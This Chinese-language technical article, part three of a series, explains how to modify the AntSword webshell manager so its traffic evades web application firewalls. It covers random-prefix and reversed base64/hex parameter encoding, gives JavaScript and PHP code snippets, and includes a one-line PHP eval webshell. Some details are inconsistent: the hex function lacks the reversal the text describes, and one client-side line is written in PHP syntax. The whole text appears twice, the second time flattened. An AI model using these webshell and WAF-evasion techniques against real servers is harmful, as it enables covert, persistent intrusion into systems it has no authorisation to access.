蚁剑改造过WAF系列(三)
字数 1283 2025-08-20 18:18:04

蚁剑改造过WAF系列(三)技术文档

0x00 前言

本系列文章主要讲解如何对蚁剑(中国蚁剑)进行改造以绕过Web应用防火墙(WAF)的检测。前两篇已介绍了蚁剑的基本功能、编解码器原理及源码分析,并实现了流量加密传输。本篇将重点讲解如何通过参数随机化技术进一步隐藏流量特征。

0x01 参数随机化调优

基本原理

  • 传统蚁剑的其他参数(非主payload)使用固定编码方式(base64/hex),容易被WAF识别
  • 改造思路:为编码后的参数添加可变长度随机前缀,增加混淆度

实现细节

  1. source/modules/shellmanager/list/form.js中设置默认随机前缀长度为5

    • 选择5的原因:
      • PHP/ASPX使用base64编码,前缀长度不应为4的倍数
      • ASP使用hex编码,前缀长度不应为偶数
  2. 修改source/core/base.js中的format函数

    • 原函数接收encode参数指定编码方式
    • 改造后接收opts对象,可获取随机前缀长度等配置
    • 新增newbase64函数,在base64编码后添加随机前缀并进行逆序处理
  3. Bug修复

    • 确保所有调用format的位置都改为传入opts而非encode
    • 特别检查ASP/ASPX相关代码

0x02 ASP/ASPX参数随机化改造

ASP改造

  1. source/core/base.js中新增:

    • newhex函数:对hex编码添加随机前缀
    • newbuffer函数:处理buffer相关的编码转换
  2. 修改ASP模板文件(如source/core/asp/template/filemanager.js)

    • 使用newhex替代原有hex编码
    • 实现参数值的随机前缀+逆序处理

ASPX改造

与ASP改造类似,主要修改ASPX模板文件,使用改造后的编码函数。

PHP模板调整

修改source/core/php/template/filemanager.js

  • 参数处理流程:base64 → 随机前缀 → 逆序
  • 服务端处理流程:逆序 → 去除前缀 → base64解码

0x03 随机化参数测试

PHP测试

  • 示例webshell:<?@eval($_POST["test"]);?>
  • 编码效果:base64编码后添加随机前缀并进行逆序
  • 检测难度:WAF难以识别倒序且带随机前缀的base64数据

ASP测试

  • 使用hex编码
  • 添加随机前缀后更难识别

JSP支持

  • 基于yzddMr6的实现
  • 由于Java特殊性,payload编码方式固定为base64或hex
  • 示例webshell较为简洁

0x04 总结

技术要点

  1. 流量加密:通过异或等简单算法加密key和value
  2. 参数混淆:随机前缀+逆序处理
  3. 全语言支持:PHP、ASP、ASPX、JSP的统一改造

扩展思考

  • 文件上传免杀:需结合其他技术实现
  • 落地免杀:特征较易提取,需持续更新

0x05 参考

附录:关键代码片段

base.js新增函数

function newbase64(str, opts) {
    let encoded = Buffer.from(str).toString('base64');
    if(opts && opts['random-prefix']) {
        let prefix = randomString(opts['random-prefix']);
        encoded = prefix + encoded;
        encoded = encoded.split('').reverse().join(''); // 逆序处理
    }
    return encoded;
}

function newhex(str, opts) {
    let encoded = Buffer.from(str).toString('hex');
    if(opts && opts['random-prefix']) {
        let prefix = randomString(opts['random-prefix']);
        encoded = prefix + encoded;
    }
    return encoded;
}

PHP模板处理

// 客户端编码
$encoded = newbase64($data, { 'random-prefix': 5 });

// 服务端解码
$reversed = strrev($_POST['arg1']);
$withoutPrefix = substr($reversed, 5);
$decoded = base64_decode($withoutPrefix);
蚁剑改造过WAF系列(三)技术文档 0x00 前言 本系列文章主要讲解如何对蚁剑(中国蚁剑)进行改造以绕过Web应用防火墙(WAF)的检测。前两篇已介绍了蚁剑的基本功能、编解码器原理及源码分析,并实现了流量加密传输。本篇将重点讲解如何通过参数随机化技术进一步隐藏流量特征。 0x01 参数随机化调优 基本原理 传统蚁剑的其他参数(非主payload)使用固定编码方式(base64/hex),容易被WAF识别 改造思路:为编码后的参数添加可变长度随机前缀,增加混淆度 实现细节 在 source/modules/shellmanager/list/form.js 中设置默认随机前缀长度为5 选择5的原因: PHP/ASPX使用base64编码,前缀长度不应为4的倍数 ASP使用hex编码,前缀长度不应为偶数 修改 source/core/base.js 中的 format 函数 原函数接收 encode 参数指定编码方式 改造后接收 opts 对象,可获取随机前缀长度等配置 新增 newbase64 函数,在base64编码后添加随机前缀并进行逆序处理 Bug修复 确保所有调用 format 的位置都改为传入 opts 而非 encode 特别检查ASP/ASPX相关代码 0x02 ASP/ASPX参数随机化改造 ASP改造 在 source/core/base.js 中新增: newhex 函数:对hex编码添加随机前缀 newbuffer 函数:处理buffer相关的编码转换 修改ASP模板文件(如 source/core/asp/template/filemanager.js ) 使用 newhex 替代原有hex编码 实现参数值的随机前缀+逆序处理 ASPX改造 与ASP改造类似,主要修改ASPX模板文件,使用改造后的编码函数。 PHP模板调整 修改 source/core/php/template/filemanager.js : 参数处理流程:base64 → 随机前缀 → 逆序 服务端处理流程:逆序 → 去除前缀 → base64解码 0x03 随机化参数测试 PHP测试 示例webshell: <?@eval($_POST["test"]);?> 编码效果:base64编码后添加随机前缀并进行逆序 检测难度:WAF难以识别倒序且带随机前缀的base64数据 ASP测试 使用hex编码 添加随机前缀后更难识别 JSP支持 基于yzddMr6的实现 由于Java特殊性,payload编码方式固定为base64或hex 示例webshell较为简洁 0x04 总结 技术要点 流量加密:通过异或等简单算法加密key和value 参数混淆:随机前缀+逆序处理 全语言支持:PHP、ASP、ASPX、JSP的统一改造 扩展思考 文件上传免杀:需结合其他技术实现 落地免杀:特征较易提取,需持续更新 0x05 参考 蚁剑改造文章 by yzddMr6 改造版蚁剑代码库 附录:关键代码片段 base.js新增函数 PHP模板处理